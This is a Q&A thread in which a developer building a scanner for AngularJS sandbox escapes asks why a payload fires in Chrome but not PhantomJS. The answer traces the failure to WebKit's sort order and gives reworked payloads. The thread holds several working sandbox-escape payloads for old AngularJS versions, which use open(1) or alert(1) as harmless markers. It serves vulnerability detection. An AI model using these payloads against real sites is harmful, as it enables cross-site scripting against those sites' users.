I am building an application in Python that checks if a certain web application is vulnerable for an AngularJS Sandbox Escape/Bypass.
Here is how it works.
My app starts a local web server (http://localhost
) using the following content.
<!DOCTYPE html>
<html>
<head>
<script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
</head>
<body ng-app="">
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
</body>
</html>
The Sandbox Escape payload I am using is {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
, which should open a new window due to the open(1)
call.
After starting the web server it uses Selenium (with PhantomJS as driver) to check if a new window opened due to the AngularJS Sandbox Escape.
capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False
browser = webdriver.PhantomJS(
executable_path="../phantomjs/win-2.1.1",
desired_capabilities=capabilities,
)
browser.get("http://localhost/")
return len(browser.window_handles) >= 2
The problem I'm facing
PhantomJS does not open a new window. When I navigate to http://localhost
using Google Chrome it does open a new window.
Here is the PhantomJS console log (containing two errors):
[
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
},
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
}
]
And this is the Google Chrome console log (throws an error but does open a new window):
Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
at angular.js:36
at Object.r (angular.js:8756)
at k.$digest (angular.js:12426)
at k.$apply (angular.js:12699)
at angular.js:1418
at Object.d [as invoke] (angular.js:3917)
at c (angular.js:1416)
at cc (angular.js:1430)
at Xc (angular.js:1343)
at angular.js:21773
Some other AngularJS Sandbox Escape payloads work without any problems. For example the payload below (for AngularJS version 1.0.0 to 1.1.5) opens a new window in Chrome aswell as PhantomJS.
{{constructor.constructor('open(1)')()}}
I hope someone will be able to help me fix this issue so that I can detect if the payload executed succesfully.
Please note that I am using open(1)
instead of alert(1)
since it's not possible to detect alerts in PhantomJS.
Thanks in advance.
Update 1:
This is a JSFiddle that works in Google Chrome, but does not work in PhantomJS. I am looking for a solution (maybe a change in the payload or the PhantomJS settings or something) so that the payload also triggers in PhantomJS.
https://jsfiddle.net/x90ey5fa/
Update 2:
I found out it's not related to AngularJS. The JSFiddle below contains 4 lines of JavaScript which work in Google Chrome but do not work in PhantomJS. I also attached the console log from PhantomJS.
https://jsfiddle.net/x90ey5fa/2/
{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n Function (undefined:1)\n sort (:0)", 'timestamp': 1501795341539}`
Version details:
Operating System: Windows 10 x64
Python version: 3.6.1
Google Chrome version: 60.0.3112.78
PhantomJS version: 2.1.1
Selenium version: 3.4.3 (installed via PIP)
Your Safari error is very illuminating (and I am kicking myself for not reading it more closely). Observe:
Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.
This parameter declaration
part is important.
What the payload does is
c
to the toString
constructor, Function
(which creates functions)Function
prototype's toString
method to call
c
, thus creating a new function via Function("a", "open(1)")
sort
is converted to string via toString
, which has been redirected to call
, resulting in calling the new function, which calls open(1)
That is how it works in Chrome, anyway. However .sort()
does not necessarily work the same way in all browsers. It's just supposed to sort things... so why does it matter what order it looks at items? After all, the function passed should make sure that everything comes out in the right order anyway.
As MDN says, the syntax for Function
is
Function ([arg1[, arg2[, ...argN]],] functionBody)
WebKit is sorting it "backwards", so instead of calling Function("a", "open(1)")
, it makes the call be Function("open(1)", "a")
. When multiple arguments are given, the last one is assumed to be the function body and all the rest are interpreted as arguments. This is why you're getting the unexpected token. Parenthesis are not a valid part of a parameter name.
Here is an alternative:
c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)
I tested it in my QtWebKit-based browser and it worked. Of course it will also cause a SyntaxError on Chrome because the arguments are "backwards"...
The below are several attempts to get this to work seamlessly in Angular both on PhantomJS and Chrome. Again, these do not work. I'm leaving these here in case they inspire someone to create a more complete solution.
Works on PhantomJS and Chrome but not with Angular (due to the function
):
[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)
Works with Angular on Chrome, but not PhantomJS:
c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With